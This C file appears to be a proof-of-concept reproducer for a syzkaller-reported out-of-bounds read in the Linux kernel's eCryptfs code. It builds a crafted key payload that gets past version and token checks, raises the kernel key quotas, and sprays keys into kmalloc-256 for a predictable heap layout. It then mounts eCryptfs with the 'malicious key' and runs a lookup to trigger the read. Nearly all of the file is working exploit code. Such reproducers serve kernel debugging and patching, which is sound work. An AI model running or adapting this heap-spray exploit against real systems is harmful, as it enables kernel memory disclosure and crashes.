// https://syzkaller.appspot.com/bug?id=0f68e0a7761086dc2bd3265cacc37f60f2b1940c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>

#define KEY_SPEC_SESSION_KEYRING -3

int main(void)
{
    char payload[232];
    memset(payload, 0, sizeof(payload));

    // 1. Bypass ecryptfs_verify_version() and token_type checks
    // version = 0x0004 (little endian)
    payload[0] = 0x04;
    payload[1] = 0x00;
    // token_type = ECRYPTFS_PASSWORD (0)
    payload[2] = 0x00;
    payload[3] = 0x00;

    // 2. Control the out-of-bounds read length
    // session_key_encryption_key_bytes will be read from offset 128 of the 3rd object's payload
    // Set it to 128 to force md5_block to read 2 blocks (128 bytes)
    // The first block (64 bytes) is read from offset 160 to 224 of the 3rd object.
    // The second block (64 bytes) is read from offset 224 to 288, crossing the 256-byte boundary.
    payload[128] = 128;
    payload[129] = 0x00;
    payload[130] = 0x00;
    payload[131] = 0x00;

    // Increase key quota to allow spraying
    FILE *f = fopen("/proc/sys/kernel/keys/maxbytes", "w");
    if (f) {
        fprintf(f, "1000000\n");
        fclose(f);
    }
    f = fopen("/proc/sys/kernel/keys/maxkeys", "w");
    if (f) {
        fprintf(f, "1000000\n");
        fclose(f);
    }

    // 3. Spray keys to fill kmalloc-256 and ensure predictable layout
    for (int i = 0; i < 200; i++) {
        char desc[32];
        snprintf(desc, sizeof(desc), "spray_before_%d", i);
        syscall(__NR_add_key, "user", desc, payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING);
    }

    // 4. Add the target key that ecryptfs will use
    if (syscall(__NR_add_key, "user", "0123456789abcdef", payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING) < 0) {
        printf("[-] add_key failed: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] add_key successful.\n");

    // Spray more keys after to act as the 3rd object
    for (int i = 0; i < 200; i++) {
        char desc[32];
        snprintf(desc, sizeof(desc), "spray_after_%d", i);
        syscall(__NR_add_key, "user", desc, payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING);
    }

    if (mkdir("/tmp/lower", 0777) < 0 && errno != EEXIST) {
        printf("[-] mkdir /tmp/lower failed: %s\n", strerror(errno));
        exit(1);
    }
    if (mkdir("/tmp/upper", 0777) < 0 && errno != EEXIST) {
        printf("[-] mkdir /tmp/upper failed: %s\n", strerror(errno));
        exit(1);
    }

    // 5. Mount ecryptfs with the malicious key
    int res = mount("/tmp/lower", "/tmp/upper", "ecryptfs", 0, 
              "ecryptfs_sig=0123456789abcdef,ecryptfs_fnek_sig=0123456789abcdef,ecryptfs_cipher=aes,ecryptfs_key_bytes=16");
    if (res < 0) {
        printf("[-] mount ecryptfs failed: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] mount ecryptfs successful.\n");

    // 6. Trigger the bug by looking up a file (triggers ecryptfs_write_tag_70_packet)
    res = chdir("/tmp/upper/trigger_bug");
    if (res < 0) {
        printf("[-] chdir failed: %s\n", strerror(errno));
        // This is expected to fail with ENOENT, but the bug should be triggered during lookup
    }

    // Sleep a bit to allow any asynchronous tasks to finish (though this bug is synchronous)
    sleep(1);

    umount("/tmp/upper");

    return 0;
}